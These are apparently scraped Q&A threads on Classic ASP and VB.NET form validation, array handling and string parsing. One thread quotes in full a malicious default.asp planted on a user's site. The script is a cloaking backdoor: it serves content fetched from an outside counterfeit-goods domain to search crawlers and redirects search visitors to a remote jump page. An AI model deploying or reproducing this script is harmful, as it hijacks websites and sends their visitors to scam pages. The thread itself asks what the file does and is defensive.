InStr() asp classic form field validation - asp-classic

I'm trying to check for valid email address in a form field using:
if Request ("email") = "" then
bError = true
ElseIf Instr(1, email," ") <> 0 Then
bError = true
ElseIf InStr(1, email, "#", 1) < 2 Then
bError = true
else
*/go to success page*/
But if there is a space in the email address it still passes the validation. So my question is, how do I check for spaces using this method?

You're better off using a regular expression for this.
http://classicasp.aspfaq.com/email/how-do-i-validate-an-e-mail-address.html
Function isEmailValid(email)
Set regEx = New RegExp
regEx.Pattern = "^\w+([-+.]\w+)*#\w+([-.]\w+)*\.\w{2,}$"
isEmailValid = regEx.Test(trim(email))
End Function

Forget about all the elseif stuff do it simple...
Dim strEmail
Dim intErrors
intErrors = 0
strEmail = REQUEST("email")
strEmail = Trim(strEmail)
if strEmail = "" then intErrors = intErrors +1;
if instr(strEmail," ") > 0 then intErrors = intErrors +1;
if instr(strEmail,".") = 0 then intErrors = intErrors +1;
if instr(strEmail,"#") < 2 then intErrors = intErrors +1;
' Put as many test conditions as you want here
if intErrors = 0 then GotoSuccessPage

if Request ("email") = "" or Instr(email," ") > 0 or InStr(email, "#") < 2 then
bError = true
else
'go to success page
'BUT ABOUT OTHER ISSUES?
end if
---------------HERE IS A NON-REGEXP BASED EMAIL CHECKER, NOT SURE IF ITS FOOL PROOF BUT BETTER THAN THE SUBMITTED SNIPPET THAT SHOULD GET YOU GOING...
Function IsEmail(sCheckEmail)
Dim SEmail, NAtLoc
IsEmail = True
SEmail = Trim(sCheckEmail)
NAtLoc = InStr(SEmail, "#")
If Not (nAtLoc > 1 And (InStrRev(sEmail, ".") > NAtLoc + 1)) Then
IsEmail = False
ElseIf InStr(nAtLoc + 1, SEmail, "#") > NAtLoc Then
IsEmail = False
ElseIf Mid(sEmail, NAtLoc + 1, 1) = "." Then
IsEmail = False
ElseIf InStr(1, Right(sEmail, 2), ".") > 0 Then
IsEmail = False
End If
End Function

Related

unknowned page uploaded to my site

this script is uploaded to my site with name default.asp, Does anyone know what was being uploaded?
<%#LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/birkenstock.txt.html"
desurljiechi="http://www.birkenstockshoes-outlet.us.com/birkenstock-womens-outlet-1"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function GetHtml(url,k)
agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",agent
ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "utf-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function IsUserSearch()
s_ref=Request.ServerVariables("HTTP_REFERER")
If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
IsUserSearch = true
else
IsUserSearch = false
end if
End Function
Function RegExpMatches(patrn, strng)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strng)
Dim MyArray()
Dim i
i=0
For Each Match in Matches
ReDim Preserve MyArray(i)
MyArray(i)=Match.Value
i=i-(-1)
Next
RegExpMatches = MyArray
End Function
Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function
Function cDec(num)
cDecstr=0
if len(num)>0 and isnumeric(num) then
for inum=0 to len(num)-1
cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
next
end if
cDec=cDecstr
End Function
Function OcB(num)
OcBstr=""
if len(num)>0 and isnumeric(num) then
for i=1 to len(num)
select case (mid(num,i,1))
case "0" OcBstr=OcBstr&"000"
case "1" OcBstr=OcBstr&"001"
case "2" OcBstr=OcBstr&"010"
case "3" OcBstr=OcBstr&"011"
case "4" OcBstr=OcBstr&"100"
case "5" OcBstr=OcBstr&"101"
case "6" OcBstr=OcBstr&"110"
case "7" OcBstr=OcBstr&"111"
end select
next
end if
OcB=OcBstr
End Function
Function OcD(num)
OcD=cDec(OcB(num))
End Function
Function toOct(objMatch)
toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function
Function toDeOct(objMatch)
toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function
Function toCOct(objMatch)
toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function toCDeOct(objMatch)
toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function RegExpReplaceCall( reg, m, str, fstr)
Dim Fun, Match, Matches, i, nStr, LastIndex
If str & "" = "" Then Exit Function
Set Fun = getRef(fstr)
Set regEx = New RegExp
regEx.Pattern = reg
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
LastIndex = 1
For Each Match In Matches
If Match.FirstIndex>0 Then
nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex)
End If
nStr = nStr & Fun(Match)
LastIndex = Match.FirstIndex-(-1)-(-Match.Length)
Next
nStr = nStr & Mid(str, LastIndex)
RegExpReplaceCall = nStr
End Function
Function RegReplaceCall( reg, str, fstr)
RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr)
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if spider = 1 or querystr = "feiya" then
if querystr = "feiya" then
querystr = ""
end if
if querystr <> "" then
querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct")
querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct")
htmls = GetHtml(desurl&querystr,"")
else
htmls = GetHtml(desurljiechi&querystr,"")
end if
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl)
desurl1 = RegExpReplace(desurl,"/$","")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl)
desurl2 = replace(desurl1,"http://www.","")
desurl2 = replace(desurl2,"http://","")
htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl)
shellurlrm = shellurl
shellurlrm=replace(shellurlrm,"?","")
htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1")
htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct")
htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct")
htmls = replace(htmls,"window.location.href","var jp")
htmls = replace(htmls,"location.href",";var jp")
response.write htmls
response.end()
else
if IsUserSearch then
if instr(jumpcode,".txt")>0 then
jumpcode = GetHtml(jumpcode,"Mozi11a")
tiaoarray=split(jumpcode,"?")
if IsEmpty(tiaoarray(0)) then
response.redirect jumpcode&"?"&shellurl
else
response.redirect tiaoarray(0)&"?"&shellurl
end if
end if
end if
end if
response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/default.aspx","Mozi11a")
%>
It's redirecting requests to your site to another (probably scam) site, but only if you are coming from google.com.

What's the best way to parse an SQL fragment string into a List(of string) for a Listbox control?

I'm trying to take this string:
(("DISPLAY_NAME" like N'sadf%') And ("ID" = 2) And ("IsCRITERION" = null))
and parse it into a List(of string) so that it can be displayed like:
(
(
"DISPLAY_NAME" like N'sadf%'
)
And
(
"ID" = 2
)
Or
(
"IsCRITERION" = null
)
)
I'm close but don't quite have it. My code currently looks like:
Dim filterlist As New List(Of String)
Dim temp As String = String.Empty
Dim lvl As Integer = 0
Dim pad As String = String.Empty
For Each chr As Char In originalString '--- filter is the string i posted above
Select Case chr.ToString.ToLower()
Case "("
filterlist.Add(pad.PadLeft(lvl * 5) & chr)
lvl += 1
Case ")"
filterlist.Add(pad.PadLeft(lvl * 5) & temp)
If lvl > 0 Then lvl -= 1
filterlist.Add(pad.PadLeft(lvl * 5) & chr)
'If lvl > 0 Then lvl -= 1
temp = String.Empty
Case Else
temp &= chr
End Select
Next
'--- Removes the empty line produced by generating the List(of String)
filterlist = filterlist.Where(Function(s) Not String.IsNullOrWhiteSpace(s)).ToList()
listSelectedCriteria.DataSource = filterlist
listSelectedCriteria.DataBind()
Unfortunately, the above code produces something close to what I desire but the "And"s and "Or"s are not in the right places:
(
(
"DISPLAY_NAME" like N'sadf%'
)
(
And "ID" = 2
)
(
Or "IsCRITERION" = null
)
)
Would using regular expressions be better? Thanks for the help
Probably the "best" way (although that's getting into "primarily opinion-based" territory) would be to use a parser, but assuming that your input is limited to similar looking strings, here's what I came up with:
Dim originalString = "((""DISPLAY_NAME"" like N'sadf%') And (""ID"" = 2) And (""IsCRITERION"" = null))"
Dim filterlist = New List(Of String)()
Dim temp = New StringBuilder()
Dim lvl = 0
Dim addLine =
Sub(x As String)
filterlist.Add(New String(" ", lvl * 4) & x.Trim())
End Sub
For Each c In originalString
Select Case c
Case "("
If temp.Length > 0 Then
addLine(temp.ToString())
temp.Clear()
End If
addLine("(")
lvl += 1
Case ")"
If temp.Length > 0 Then
addLine(temp.ToString())
temp.Clear()
End If
lvl -= 1
addLine(")")
Case Else
temp.Append(c)
End Select
Next
If temp.Length > 0 Then
addLine(temp.ToString())
temp.Clear()
End If
filterlist.Dump() ' LINQPad ONLY
This results in:
(
(
"DISPLAY_NAME" like N'sadf%'
)
And
(
"ID" = 2
)
And
(
"IsCRITERION" = null
)
)
However, you will probably end up having to add code as you find different inputs that don't quite work how you want.
Instead of looking at each characters, I would start be doing a split. And then add/remove padding depending on what character is at the start.
Dim tempString As String = "((""DISPLAY_NAME"" like N'sadf%') And (""ID"" = 2) And (""IsCRITERION"" = null))"
Dim curPadding As String = ""
Const padding As String = " "
Dim result As New List(Of String)
For Each s As String In Text.RegularExpressions.Regex.Split(tempString, "(?=[\(\)])")
If s <> "" Then
If s.StartsWith("(") Then
result.Add(curPadding & "(")
curPadding &= padding
result.Add(curPadding & s.Substring(1).Trim())
ElseIf s.StartsWith(")") Then
curPadding = curPadding.Substring(padding.Length)
result.Add(curPadding & ")")
result.Add(curPadding & s.Substring(1).Trim())
Else
result.Add(curPadding & s)
End If
End If
Next

counting shopping cart 2d Array items in asp-classic

I have a shopping cart that using 2d array Cart(3, 20) to store user shop in a session.
It storing data like this:
Cart(0,0) = Product_ID
Cart(1,0) = Product_Name
Cart(2,0) = Product_Price
Cart(3,0) = Product_Qty
I want to count Items based on product_id ( we have not repetitive product_id)
I found a function here:
Function UniqueEntryCount(SourceRange)
Dim MyDataset
Dim dic
Set dic=Server.CreateObject("Scripting.Dictionary")
MyDataset = SourceRange
For i = 1 To UBound(MyDataset, 2)
if not dic.Exists(MyDataset(0, i)) then dic.Add MyDataset(0, i), ""
Next
UniqueEntryCount = dic.Count
Set dic = Nothing
End Function
But one problem is remain, When my Cart is empty, it show me 1
How can solved it?
An unitialized fixed array (Dim a(i, j)) contains i * j empty elements; your
if not dic.Exists(MyDataset(0, i)) then dic.Add MyDataset(0, i), ""
will pick up and count the first empty item. Demonstrated in code:
Dim afCart(3, 4)
Dim dicPID : Set dicPID = countPID00(afCart)
Dim aKeys : aKeys = dicPID.Keys
Dim vKey : vKey = aKeys(0)
WScript.Echo "A", dicPID.Count, TypeName(vKey)
Set dicPID = countPID(afCart)
WScript.Echo "B", dicPID.Count
afCart(0, 0) = "ignored"
afCart(0, 1) = 4711
afCart(0, 2) = 4712
afCart(0, 3) = 4711
' afCart(0, 4) = "not initialized/Empty"
Set dicPID = countPID(afCart)
WScript.Echo "C"
For Each vKey In dicPID.Keys
WScript.Echo "", vKey, "=", dicPID(vKey)
Next
Function countPID00(afCart)
Dim dicRVal : Set dicRVal = CreateObject("Scripting.Dictionary")
Dim MyDataset : MyDataset = afCart ' waste of ressources
Dim iRow
For iRow = 1 To UBound(MyDataset, 2)
If Not dicRVal.Exists(MyDataset(0, iRow)) Then
dicRVal(MyDataset(0, iRow)) = "" ' loss of info; will pick up Empty item
End If
Next
Set countPID00 = dicRVal
End Function ' countPID00
Function countPID(afCart)
Dim dicRVal : Set dicRVal = CreateObject("Scripting.Dictionary")
Dim iRow
For iRow = 1 To UBound(afCart, 2)
If Not IsEmpty(afCart(0, iRow)) Then
dicRVal(afCart(0, iRow)) = dicRVal(afCart(0, iRow)) + 1
End If
Next
Set countPID = dicRVal
End Function ' countPID
output:
A 1 Empty
B 0
C
4711 = 2
4712 = 1

Resize multidimensional array and sort them by date

I think my code successfully creates the multi dimensional array because I get the right amount when I count it with UBound(DataArray).
But I get null value when I try to display one of the data as Response.Write DataArray(1,0).
Any help appreciated!
sDateArray = Split(DateArray, ",")
sVenueArray = Split(VenueArray, ",")
Dim DataArray()
For i = 0 to uBound(sDateArray)-1
ReDim DataArray(i, 1)
DataArray(i, 0) = sDateArray(i)
DataArray(i, 1) = sVenueArray(i)
Next
Response.Write UBound(DataArray) & "<br /><br />"
DataArray(1,0)
Response.Write DataArray(1,0)
Try Redim Preserve DataArray(i, 1) instead of ReDim DataArray(i, 1)
...or...
sDateArray = Split(DateArray, ",")
sVenueArray = Split(VenueArray, ",")
Dim DataArray(uBound(sDateArray)-1, 1)
For i = 0 to uBound(sDateArray)-1
DataArray(i, 0) = sDateArray(i)
DataArray(i, 1) = sVenueArray(i)
Next
Response.Write UBound(DataArray) & "<br /><br />"
' DataArray(1,0) ' <== commented out cos I think this might be an error - ?
Response.Write DataArray(1,0)
Ok I was bored so I wrote this.
May not be perfect - it's been a while since I used Classic ASP
Function SortByDate(a_input)
x = UBound(a_input, 1) - 1
if( x < 1 ) Then
Response.Write "<p>Invalid input array - first element is empty</p>"
Stop
End If
Dim a_output(x, 1)
Dim earliest_date
For j=0 To x
earliest_date = -1
For i=0 To UBound(a_input, 1) - 1
If a_input(0, i) <> "" Then
If earliest_date = -1 Then
earliest_date = i
Else
If CDate(a_input(0,i)) > CDate(a_input(0,earliest_date)) Then
earliest_date = i
End If
End If
End If
Next
a_output(0, i) = a_input(0, earliest_date)
a_output(1, i) = a_input(1, earliest_date)
a_input(0, earliest_date) = "" ' this one is done so skip next time '
Next
SortByDate = a_output
End Function

how can to stop the inserting when the validation is wrong for textbox?

i tried something like this, it insert into the database even thought nric is wrong.
So i want it to stop inserting the data into the database when the nric validation is wrong, however from what i do, the result is it still insert the name in....so where should change to allow it stop inserting until user change the value then can continue insert???
Protected Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click
register()
End Sub
Protected Sub nricValidate()
Dim strRegex As String = "^([sS]\d{7}[a-zA-Z])$"
Dim myRegex As Regex = New Regex(strRegex)
Dim strNr As String = txtNRIC.Text
Dim nric As String = txtNRIC.Text
If String.IsNullOrEmpty(txtNRIC.Text) Then
ElseIf myRegex.IsMatch(strNr) Then
Dim nricArray() As Char = nric.ToArray
Dim sum As Integer = 0
Dim num As Integer = 0
Dim result As Integer = 0
Dim numbers As Char
Dim no As String = ""
Dim i As Integer = 0
Do While (i < nricArray.Length)
If (i = 1) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 2)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 2) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 7)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 3) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 6)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 4) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 5)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 5) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 4)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 6) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 3)
nricArray(i) = Convert.ToChar(num)
ElseIf (i = 7) Then
num = 0
numbers = nricArray(i)
no = numbers.ToString
num = Convert.ToInt32(no)
num = (num * 2)
nricArray(i) = Convert.ToChar(num)
End If
i = (i + 1)
Loop
i = 0
Do While (i < nricArray.Length)
If ((i > 0) _
AndAlso (i < 8)) Then
numbers = nricArray(i)
num = Convert.ToInt32(numbers)
sum = (sum + num)
End If
i = (i + 1)
Loop
result = (sum Mod 11)
If (result = 10) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(65)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'A' Nric Error"
End If
ElseIf (result = 9) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(66)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'B' Nric Error"
End If
ElseIf (result = 8) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(67)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'C'Nric Error"
End If
ElseIf (result = 7) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(68)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'D'Nric Error"
End If
ElseIf (result = 6) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(69)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'E'Nric Error"
End If
ElseIf (result = 5) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(70)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'F'Nric Error"
End If
ElseIf (result = 4) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(71)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'G'Nric Error"
End If
ElseIf (result = 3) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(72)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'H'Nric Error"
End If
ElseIf (result = 2) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(73)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'I'Nric Error"
End If
ElseIf (result = 1) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(90)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'Z'Nric Error"
End If
ElseIf (result = 0) Then
If (nricArray(8) = Microsoft.VisualBasic.ChrW(74)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'J'Nric Error"
End If
End If
Return
Else
ResultLabel.Text = "The NRIC is incorrect!"
txtNRIC.Text = String.Empty
txtNRIC.Focus()
End If
End Sub
Protected Sub register()
Dim myConn As New SqlConnection
Dim myCmd As New SqlCommand
myConn.ConnectionString = ConfigurationManager.ConnectionStrings("Company").ConnectionString
Dim cmd As String
cmd = "Insert into Customer values (#fullName, #nric) "
myCmd.CommandText = cmd
myCmd.CommandType = CommandType.Text
nricValidate()
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myCmd.Connection = myConn
myConn.Open()
myCmd.ExecuteNonQuery()
myCmd.Dispose()
myConn.Dispose()
End Sub
That big loop is entirely unnecessary. There's so much to fix here that I'll do a big rewrite. I turned 216 lines into 41, no problem. It could most likely be made much better, too.
Protected Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click
If nricValidate() Then
Using myConn As New SqlConnection(ConfigurationManager.ConnectionStrings("Company").ConnectionString),
myCmd As SqlCommand = myConn.CreateCommand()
myCmd.CommandText = "INSERT INTO Customer VALUES(#fullName, #nric)"
myCmd.CommandType = CommandType.Text
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myConn.Open()
myCmd.ExecuteNonQuery()
End Using
End If
End Sub
Protected Function nricValidate() As Boolean
Dim myRegex As New Regex("^([sS]\d{7}[a-zA-Z])$")
If Not String.IsNullOrEmpty(txtNRIC.Text) AndAlso myRegex.IsMatch(txtNRIC.Text) Then
Dim nricArray(txtNRIC.Text.Length - 1) As Integer
Dim sum As Integer = 0
For i As Integer = 1 To 7
sum += Integer.Parse(txtNRIC.Text.Substring(i, 1)) * If(i = 1, 2, 9 - i)
Next
If nricArray(8) <> 75 - sum Mod 11 Then
txtNRIC.Focus()
ResultLabel.Text = "The last value should be " & (75 - sum Mod 11).ToString() & ": NRIC Error"
Return False
End If
Return True
Else
ResultLabel.Text = "The NRIC is incorrect!"
txtNRIC.Text = String.Empty
txtNRIC.Focus()
End If
Return False
End Function
Your actual answer is - you need to turn nricValidate into a Function, return a success value, and check for success before inserting into the database. But the rest of your code could be heavily optimized too, as you can see.
I do apologize in advance, but that is the worst code I've ever seen in my entire life. Please read up on how to program in general.
change your nricValidate to return true if validation pass
Protected Function nricValidate() As Boolean
'Return True if validation pass
End Function
then you can validate and proceed
If nricValidate() Then
Dim myConn As New SqlConnection
Dim myCmd As New SqlCommand
myConn.ConnectionString = ConfigurationManager.ConnectionStrings("Company").ConnectionString
Dim cmd As String
cmd = "Insert into Customer values (#fullName, #nric) "
myCmd.CommandText = cmd
myCmd.CommandType = CommandType.Text
myCmd.Parameters.Add(New SqlParameter("#fullName", txtName.Text))
myCmd.Parameters.Add(New SqlParameter("#nric", txtNRIC.Text))
myCmd.Connection = myConn
myConn.Open()
myCmd.ExecuteNonQuery()
myCmd.Dispose()
myConn.Dispose()
End If
another way is if ResultLabel has text on validation fail check that before execute database operation.
you have to make a return false on every validation fail. like this:
If (nricArray(8) = Microsoft.VisualBasic.ChrW(65)) Then
Else
txtNRIC.Focus()
ResultLabel.Text = "last alphabet should be 'A' Nric Error"
return False
End If
...
return True 'at the end of the function
dont forget to change the sub to function of boolean return type.
Protected function nricValidate() as Boolean
and then inside you register sub
replace nricValidate() with if not nricValidate() then exit sub and make it bfore any declaration so no need to dispose anything ...
Since you are posting the error to the result label, you could use this object within the button submit to detect an error:
If (String.IsNullOrEmpty(ResultLabel.Text)) Then
' valid,continue
End IF

Resources